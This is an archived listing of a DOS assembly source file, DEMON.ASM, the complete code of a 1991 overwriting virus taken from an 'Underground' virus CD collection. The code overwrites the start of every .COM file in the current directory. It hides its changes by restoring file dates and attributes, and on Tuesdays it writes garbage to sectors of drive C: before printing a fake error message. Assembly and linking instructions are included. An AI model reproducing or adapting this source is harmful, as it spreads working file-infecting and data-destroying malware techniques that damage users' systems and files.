home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / demon.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  5.8 KB  |  126 lines

  1. ;========== Demon virus ==================================== 22.09.91 ========
  2.  
  3. ;
  4.  
  5. ; Assemble and link with:  TASM  DEMON.VIR
  6.  
  7. ;                          TLINK DEMON /X/T
  8.  
  9. ; Infect all .COM programs in current directory with: DEMON
  10.  
  11. ;
  12.  
  13. ;                       !!! NOT ON A TUESDAY !!!
  14.  
  15. ;
  16.  
  17. ;-------------- Constants and structures
  18.  
  19.  
  20.  
  21. Tuesday         =       2                       ; INT 21h, AH=2Ah
  22.  
  23.  
  24.  
  25. Search_Rec      struc                           ; directory search record
  26.  
  27.                 db      21 dup (?)              ;   reserved for DOS
  28.  
  29.   FileAttr      db      ?                       ;   file attribute
  30.  
  31.   FileTime      dw      ?                       ;   packed file time
  32.  
  33.   FileDate      dw      ?                       ;   packed file date
  34.  
  35.   FileSize      dd      ?                       ;   long file size
  36.  
  37.   FileName      db      13 dup (?)              ;   ASCIIZ FILENAME.EXT
  38.  
  39. Search_Rec      ends
  40.  
  41.  
  42.  
  43. ;-------------- Demon virus segment
  44.  
  45.  
  46.  
  47. Virus           segment
  48.  
  49.                 assume  cs:Virus,ds:Virus,es:Virus,ss:Virus
  50.  
  51.  
  52.  
  53.                 org     0080h
  54.  
  55. DTA             Search_Rec <>                   ; disk transfer area
  56.  
  57.  
  58.  
  59.                 org     0100h
  60.  
  61. Demon:                                          ; virus entry point
  62.  
  63. Virus_Size      =       Virus_End - Demon       ; virus size = 272 bytes
  64.  
  65.  
  66.  
  67.                 mov     dx,offset All_COM       ; find first .COM file,
  68.  
  69.                 mov     ah,4eh                  ;   including hidden/system
  70.  
  71.                 mov     cx,110bh
  72.  
  73.                 int     21h
  74.  
  75.                 nop
  76.  
  77.                 jnc     Infect                  ; abort if no files found
  78.  
  79.                 jmp     short Check_Day
  80.  
  81. Infect:         call    Replicate               ; overwrite first 272 bytes
  82.  
  83.                 mov     dx,offset DTA
  84.  
  85.                 mov     ah,4fh                  ; find next .COM file,
  86.  
  87.                 int     21h                     ;   go check day if none found
  88.  
  89.                 nop                             ;   else repeat
  90.  
  91.                 jnc     Next_File
  92.  
  93.                 jmp     short Check_Day
  94.  
  95. Next_File:      jmp     Infect
  96.  
  97. Check_Day:      mov     ah,2ah                  ; get DOS date, check day
  98.  
  99.                 int     21h
  100.  
  101.                 cmp     al,Tuesday              ; Tuesday ?
  102.  
  103.                 je      Thrash_Drive            ; if yes, thrash drive C:
  104.  
  105.                 mov     ah,4ch                  ;   else exit to DOS
  106.  
  107.                 int     21h
  108.  
  109.  
  110.  
  111. Thrash_Drive:   mov     Counter,0               ; overwrite first 160 sectors
  112.  
  113.                 jmp     Write_Sectors           ;   of drive C: with garbage
  114.  
  115. Write_Sectors:  mov     al,Drive_C              ; Error: doesn't work !
  116.  
  117.                 mov     cx,160                  ; AL=C:, CX=160 sectors
  118.  
  119.                 mov     dx,0                    ; DX=highest sector in drive !
  120.  
  121.                 mov     bx,0                    ; DS:BX=start of PSP area
  122.  
  123.                 int     26h                     ; overwrite sectors
  124.  
  125.                 inc     Counter
  126.  
  127.                 cmp     Counter,10              ; repeat 10 times
  128.  
  129.                 je      Show_Msg
  130.  
  131.                 jne     Write_Sectors
  132.  
  133. Show_Msg:       mov     ah,09h                  ; show a fake error message
  134.  
  135.                 mov     dx,offset Virus_Msg     ;   and exit to DOS
  136.  
  137.                 int     21h
  138.  
  139.                 mov     ah,4ch
  140.  
  141.                 int     21h
  142.  
  143.  
  144.  
  145. Replicate:      mov     dx,offset DTA.FileName  ; save file attribute
  146.  
  147.                 mov     ax,4300h
  148.  
  149.                 int     21h
  150.  
  151.                 mov     COM_Attr,cx
  152.  
  153.                 nop
  154.  
  155.                 xor     cx,cx                   ; unprotect the .COM file
  156.  
  157.                 mov     ax,4301h                ;   in case it's read-only
  158.  
  159.                 int     21h
  160.  
  161.                 nop
  162.  
  163.                 mov     ax,3d02h                ; open .COM file for R/W,
  164.  
  165.                 int     21h                     ;   abort on error
  166.  
  167.                 nop
  168.  
  169.                 jc      Check_Day
  170.  
  171.                 mov     bx,ax                   ; BX = file handle
  172.  
  173.                 mov     ax,5700h
  174.  
  175.                 int     21h                     ; save file date and time
  176.  
  177.                 nop
  178.  
  179.                 mov     COM_Time,cx
  180.  
  181.                 mov     COM_Date,dx
  182.  
  183.                 mov     dx,offset Demon         ; overwrite first 272 bytes
  184.  
  185.                 mov     ah,40h                  ;   of .COM program file
  186.  
  187.                 mov     cx,Virus_Size           ;   with the virus code
  188.  
  189.                 int     21h
  190.  
  191.                 nop
  192.  
  193.                 mov     ax,5701h                ; restore file date and time
  194.  
  195.                 mov     dx,COM_Date
  196.  
  197.                 mov     cx,COM_Time
  198.  
  199.                 int     21h
  200.  
  201.                 mov     ah,3eh                  ; close the file
  202.  
  203.                 int     21h
  204.  
  205.                 nop
  206.  
  207.                 mov     dx,offset DTA.FileName  ; restore file attribute
  208.  
  209.                 mov     cx,COM_Attr
  210.  
  211.                 mov     ax,4301h
  212.  
  213.                 int     21h
  214.  
  215.                 retn
  216.  
  217.  
  218.  
  219. All_COM         db      '*.COM',0               ; dir search specification
  220.  
  221. COM_Date        dw      0                       ; packed .COM program date
  222.  
  223. COM_Time        dw      0                       ; packed .COM program time
  224.  
  225. COM_Attr        dw      0                       ; .COM program file attribute
  226.  
  227. Counter         db      0                       ; used when thrashing drive C:
  228.  
  229. Drive_C         db      2                       ; INT 26h C: drive number
  230.  
  231.                 dw      0
  232.  
  233. Copyright       db      'Demonhyak Viri X.X (c) by Cracker Jack 1991 (IVRL)'
  234.  
  235.                 dw      0
  236.  
  237. Virus_Msg       db      10,13,'Error eating drive C:',10,13,'$'
  238.  
  239.  
  240.  
  241. Virus_End       label   byte                    ; virus code+data end
  242.  
  243.  
  244.  
  245. Virus           ends
  246.  
  247.                 end     Demon
  248.  
  249.  
  250.  
  251.